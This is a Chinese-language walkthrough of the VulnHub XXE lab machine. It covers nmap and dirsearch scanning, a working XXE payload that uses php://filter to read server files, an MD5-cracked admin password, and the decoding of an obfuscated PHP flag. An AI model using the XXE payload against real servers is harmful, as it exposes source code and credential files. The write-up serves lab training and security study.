vulnhub-XXE靶机渗透记录
准备工作
在vulnhub官网下载xxe靶机

导入虚拟机

开始进行渗透测试

信息收集
首先打开kali,设置成NAT模式
查看本机ip地址

利用端口扫描工具nmap进行探测扫描
nmap -sS 192.168.200.6/24

(这里也可以先用nmap -sP 192.168.200.6/24 进行Ping扫描,然后再通过判断靶机的ip地址用nmap -sV 192.168.200.xxx进行端口的扫描)
扫描后可以看出只有192.168.200.9开放了80端口,大概率的可以判断192.168.200.9就是靶机的ip地址
用浏览器打开后是这样的界面

什么信息也没有,二话不说直接用扫描工具dirsearch开始扫描
python3 dirsearch.py -u http://192.168.200.9/

扫到一个robots.txt文件,访问得到:

注意到xxe,直接访问得到一个登陆界面

开始注入
抓个包看看

格式很明显是xml
尝试使用xml注入来访问xxe.php文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>

解码得

没有什么有用得信息,尝试读取一下刚刚在robots.txt文件中看到得admin.php
解码得到了账号administhebest 和 md5加密的密码

在md5解密网站解到对应的密码为admin@123
在192.168.200.9/xxe/的登陆框中输入账号密码还是提示不存在

后面意识到刚刚我读取的是admin.php的源码
于是访问192.168.200.9/xxe/admin.php发现还有另一个登陆界面
在这里登陆刚刚得到的账号密码


登陆后得到一个flag的跳转连接,点开后什么都没有

再次尝试读取flagmeout.php文件,这里要注意的是,因为flagmeout.php文件是在根目录中,所以读取这个文件时需要访问xxe.php文件的上一级目录,加上一个./
读取文件后解码得到flag,但是还是加密的格式,看起来应该是base32加密

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
base32解码后
L2V0Yy8uZmxhZy5waHA=
base64再次解码后得到
/etc/.flag.php
得到flag.php的目录后,直接再次读取
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&admin;</name><password>admin</password></root>
再经过base64解码得
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$Ã=+_;$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=++$Ã[];$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$__('$_="'.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.'"');$__($_);
一串乱码无从下手,在网上查阅了资料发现,我现在读取得文件是php文件,而$是php的代码部分,说明这串代码就是php代码,拉去运行一下
这里我在在线运行网站运行了php,得到以下结果拿到flag

vulnhub-XXE靶机渗透记录的更多相关文章
- vulnhub-DC:2靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
- VulnHub CengBox2靶机渗透
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
- vulnhub-DC:4靶机渗透记录
准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...
- vulnhub-DC:7靶机渗透记录
准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...
- Vulnhub DC-1靶机渗透学习
前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...
- vulnhub-DC:5靶机渗透记录
准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- vulnhub-DC:6靶机渗透记录
准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...
- Vulnhub webdeveloper靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...
- vulnhub-DC:1靶机渗透记录
准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...
随机推荐
- 【NX二次开发】查找部件中的对象 UF_OBJ_cycle_objs_in_part
返回所有层上指定类型部件中的所有对象,不管它们的当前显示状态如何.这个例程不返回表达式.指定对象.临时(系统创建的)对象或休眠对象.休眠对象指的是从模型中删除的对象例如,如果你混合了一条边,那么这条边 ...
- webpack 快速入门 系列 - 自定义 wepack 上
其他章节请看: webpack 快速入门 系列 自定义 wepack 上 通过"初步认识webpack"和"实战一"这 2 篇文章,我们已经学习了 webpac ...
- Nacos配置中心交互模型是 push 还是 pull ?你应该这么回答
本文案例收录在 https://github.com/chengxy-nds/Springboot-Notebook 大家好,我是小富- 对于Nacos大家应该都不太陌生,出身阿里名声在外,能做动态服 ...
- 30、css介绍
30.1.css概述: css是Cascading Style Sheet的简称,中文称为层叠样式表,是用来控制网页数据表现的,可以 使网页的表现与数据内容分离: 30.2.css的四种引入方式: 1 ...
- hdu 6025 前缀 后缀 gcd
大致题意: 去掉一个元素能使这个数列的GCD最大为多少 分析: 我们求一个数列的GCD,是先求前两个元素的GCD,然后将这个GCD值在与下一个元素进行GCD运算.由此可知进行GCD运算的顺序对最终的结 ...
- 【转载】Nginx多服务绑定80端口及映射域名
多服务绑定80端口及映射域名 说明:业务需要配置的样例模板,如需深入了解,请查看官方文档 1.Nginx配置文件nginx.conf(可拆分多台机器部署) worker_processes 1; e ...
- let const关键字
let 是取代var 在块级作用域里面有效 <!DOCTYPE html> <html lang="en"> <head> <meta c ...
- vim 知识点小结
vim用法可以学习:vim用法 Vim修改tab为4个空格 vi /etc/vim/vimrc 添加:set ts=4 vim中翻页的快捷键:向上翻页 ctrl+b,向下翻页 ctrl+f vim替换 ...
- bugkuCTF
这题说实话我一脸懵逼,计网还没学的我,瑟瑟发抖,赶紧去百度. 思路分析: 涉及到域名解析,也就是dns服务,看了看writeup,都是修改host文件,百度了下host文件的作用,才明白了 host文 ...
- webpack(10)webpack-dev-server搭建本地服务器
前言 当我们使用webpack打包时,发现每次更新了一点代码,都需要重新打包,这样很麻烦,我们希望本地能搭建一个服务器,然后写入新的代码能够自动检测出来,这时候就需要用到webpack-dev-ser ...